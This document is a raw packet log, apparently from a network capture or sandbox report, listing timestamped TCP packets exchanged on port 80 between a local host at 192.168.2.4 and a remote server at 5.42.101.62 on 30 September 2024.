Sep 30, 2024 12:22:36.198585987 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.198592901 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.198601961 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.198607922 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.198621988 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.198626041 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.198643923 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.198651075 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.198657990 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.198666096 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.198687077 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.198690891 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.198702097 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.198707104 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.198717117 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.198729992 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.198740005 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.198745966 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.198755980 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.198765993 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.198775053 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.198777914 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.198787928 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.198796988 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.198802948 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.198816061 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.198817968 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.198831081 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.198834896 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.198843002 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.198851109 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.198858023 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.198865891 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.198874950 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.198880911 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.198889017 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.198895931 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.198905945 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.198910952 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.198920965 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.198925018 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.198937893 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.198939085 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.198954105 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.198955059 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.198966980 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.198971033 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.198982954 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.198986053 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.199002028 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.199002981 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.199016094 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.199023008 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.199034929 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.199052095 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.282202005 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.282258034 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.282284021 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.282293081 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.282306910 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.282331944 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.282345057 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.282378912 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.282383919 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.282411098 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.282426119 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.282444000 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.282450914 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.282481909 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.282502890 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.282536030 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.282542944 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.282568932 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.282576084 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.282602072 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.282605886 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.282632113 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.282639027 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.282669067 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.282699108 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.282732964 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.282736063 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.282764912 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.282768965 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.282802105 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.282803059 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.282835007 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.282839060 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.282869101 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.282872915 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.282901049 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.282910109 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.282933950 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.282937050 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.282964945 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.282965899 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.283004045 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.283040047 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.283071995 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.283077002 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.283123016 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.283126116 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.283159971 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.283173084 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.283205986 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.283215046 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.283240080 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.283241987 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.283272028 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.283277035 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.283304930 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.283308983 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.283344030 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.283497095 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.283529997 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.283536911 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.283562899 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.283565998 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.283596039 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.283601046 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.283631086 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.283633947 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.283665895 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.283669949 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.283704042 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.283708096 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.283740044 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.283744097 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.283776999 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.283792019 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.283838987 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.283843994 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.283876896 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.283881903 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.283910036 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.283915043 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.283942938 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.283946991 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.283977032 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.283993006 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.284032106 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.284046888 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.284079075 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.284085035 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.284111023 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.284116030 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.284146070 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.284148932 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.284178972 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.284182072 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.284213066 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.284215927 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.284246922 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.284250021 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.284281015 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.284281969 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.284312963 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.284317970 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.284346104 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.284349918 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.284379005 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.284384966 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.284411907 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.284415960 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.284445047 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.284449100 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.284481049 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.284496069 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.284529924 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.284535885 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.284565926 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.284579039 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.284616947 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.284636021 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.284670115 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.284674883 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.284706116 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.284720898 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.284751892 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.284759045 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.284789085 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.284790993 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.284820080 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.284826994 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.284852028 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.284854889 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.284884930 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.284889936 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.284918070 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.284921885 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.284950972 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.284955025 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.284987926 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.285001040 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.285038948 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.285051107 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.285089970 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.285089970 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.285129070 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.285144091 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.285181999 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.285192013 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.285226107 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.285228968 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.285263062 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.285276890 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.285309076 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.285314083 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.285341024 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.285346985 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.285375118 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.285376072 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.285410881 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.285423994 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.285458088 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.285460949 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.285491943 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.285495043 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.285525084 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.285527945 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.285557985 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.285563946 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.285590887 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.285593987 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.285619020 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.285625935 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.285651922 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.285654068 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.285684109 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.285689116 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.285712957 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.285717964 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.285746098 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.285749912 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.285778999 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.285782099 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.285810947 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.285815954 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.285842896 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.285847902 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.285875082 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.285878897 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.285907984 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.285909891 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.285936117 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.285944939 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.285969973 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.285970926 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.286003113 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.286005974 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.286035061 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.286039114 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.286067009 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.286067009 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.286098957 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.286103010 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.286134958 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.286137104 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.286169052 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.286184072 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.286201000 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.286206007 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.286230087 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.286237001 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.286263943 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.286264896 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.286297083 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.286303043 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.286329985 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.286336899 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.286361933 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.286366940 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.286395073 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.286396980 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.286431074 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.286432981 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.286467075 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.286468029 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.286499977 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.286504984 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.286530972 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.286536932 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.286564112 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.286566973 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.286597013 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.286601067 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.286632061 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.286633015 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.286659956 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.286669970 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.286691904 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.369160891 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.369231939 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.369261026 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.369266987 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.369290113 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.369302988 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.369313955 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.369338989 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.369345903 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.369374990 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.369380951 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.369426966 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.369429111 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.369476080 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.369483948 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.369518995 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.369529963 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.369559050 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.369590998 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.369597912 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.369630098 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.369663000 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.369668007 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.369713068 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.369715929 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.369765997 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.369771004 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.369803905 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.369817019 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.369837999 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.369849920 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.369873047 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.369884968 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.369910002 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.369918108 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.369952917 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.369992018 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.370027065 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.370038033 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.370059967 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.370069027 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.370101929 CEST	52534	80	192.168.2.4	5.42.101.62
